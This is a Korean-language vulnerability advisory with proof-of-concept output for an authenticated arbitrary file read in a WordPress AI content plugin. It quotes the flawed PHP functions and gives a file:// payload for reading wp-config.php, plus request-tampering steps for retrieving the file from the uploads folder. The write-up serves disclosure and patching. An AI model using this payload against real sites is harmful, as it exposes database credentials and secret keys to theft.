
워드프레스용 AI 엔진: ChatGPT, GPT 콘텐츠 생성기 <= 1.0.1 - 인증된 (Contributor+) 임의 파일 읽기
AI Engine for WordPress 플러그인의 이미지 삽입 기능에는 게시물 편집 권한이 있는 모든 인증된 사용자(기여자, 저자, 편집자, 관리자)가 서버에서 임의의 파일을 다운로드할 수 있는 취약점이 존재합니다. 이 취약점은 lqdai_update_post AJAX 엔드포인트에 적절한 권한 검사가 없고, insert_image() 함수가 프로토콜 검증 없이 사용자 제어 URL에 file_get_contents()를 사용하여 file:// 프로토콜을 통한 임의 파일 다운로드를 허용하기 때문에 발생합니다.
wp-config.php 파일을 다운로드하는 것을 보여주는 POC CVE-2025-13380.py가 제공됩니다. python3 ./exploit.py http://techcorp.cc contributor password
[+] Target: http://techcorp.cc
[+] Username: contributor
[+] Nonce obtained: 5dc61a0166
[+] Post created with ID: 148
[+] File written to uploads directory
[+] Attempting to retrieve file from: http://techcorp.cc/wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
[+] File retrieved successfully!
[+] wp-config.php contents:
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
...
...
...
lqdai_update_post AJAX 액션은 /wp-content/plugins/liquid-chatgpt/liquid-chatgpt.php 파일의 315번째 줄에 있는 update_post() 함수를 호출합니다. 이 함수는 적절한 권한 검사가 없어 모든 인증된 사용자가 자신이 편집할 수 있는 게시물을 수정할 수 있도록 허용합니다:
function update_post() {
if ( empty( $posts = $_POST['posts'] ) ) {
wp_send_json( [
'error' => true,
'message' => __( 'Data is null!', 'lqdai' ),
] );
}
$args = [
'ID' => $posts['post_id'],
'post_title' => $posts['title'],
'post_content' => $posts['content'],
'post_status' => 'draft',
];
$update_post = wp_update_post( $args );
if ( is_wp_error( $update_post ) ) {
wp_send_json( [
'error' => true,
'message' => $update_post->get_error_messages()
] );
} else {
wp_set_post_tags( $posts['post_id'], $posts['tags'], false );
if ( !empty( $posts['image'] ) ) {
$this->insert_image( $posts['post_id'], $posts['image'] ); // <-- ARBITRARY FILE DOWNLOAD VULNERABILITY
}
}
}
419번째 줄에 있는 insert_image() 함수는 프로토콜 검증 없이 사용자 제어 URL에 file_get_contents()를 사용하여 임의 파일 다운로드를 허용합니다:
function insert_image( $post_id, $image_url ) {
// Get the path to the uploads directory
$upload_dir = wp_upload_dir();
$image_data = file_get_contents($image_url);
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// Save the image to the uploads directory
if ( wp_mkdir_p($upload_dir['path']) ) {
$file = $upload_dir['path'] . '/' . $filename;
} else {
$file = $upload_dir['basedir'] . '/' . $filename;
}
file_put_contents($file, $image_data); // <-- WRITES
// Get the attachment ID for the image
$wp_filetype = wp_check_filetype($filename, null );
$attachment = array(
'post_mime_type' => $wp_filetype['type'],
'post_title' => sanitize_file_name(str_replace('.jpg','', $filename)),
'post_content' => '',
'post_status' => 'inherit'
);
$attachment_id = wp_insert_attachment( $attachment, $file, $post_id );
require_once(ABSPATH . 'wp-admin/includes/image.php');
$attachment_data = wp_generate_attachment_metadata( $attachment_id, $file );
wp_update_attachment_metadata( $attachment_id, $attachment_data );
// Set the attachment ID as the featured image for the post
set_post_thumbnail($post_id, $attachment_id);
}
취약한 경로 구성은 file:// 프로토콜을 통해 로컬 파일을 읽을 수 있게 합니다:
// User provides: 'file:///var/www/html/wp-config.php'
$image_url = 'file:///var/www/html/wp-config.php';
// file_get_contents() reads the file (works by default in PHP)
$image_data = file_get_contents($image_url); // Reads /var/www/html/wp-config.php
// Filename is constructed from the path
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// parse_url() returns '/var/www/html/wp-config.php'
// sanitize_file_name() removes slashes: 'varwwwhtmlwp-config.php'
// Appends '.jpg': 'varwwwhtmlwp-config.php.jpg'
// File is written to uploads directory
$file = $upload_dir['path'] . '/' . $filename;
// Result: /wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
file_put_contents($file, $image_data); // Writes wp-config.php content
lqdai_update_post 액션을 호출하는 /wp-admin/admin-ajax.php에 대한 요청을 가로챕니다.posts[image] 매개변수에 file:// 프로토콜 URL을 포함하도록 요청을 수정합니다.posts[image]=file:///var/www/html/wp-config.php로 요청을 보내 WordPress 구성 파일을 읽습니다./wp-content/uploads/YYYY/MM/varwwwhtmlwp-config.php.jpg)을 통해 파일에 접근합니다.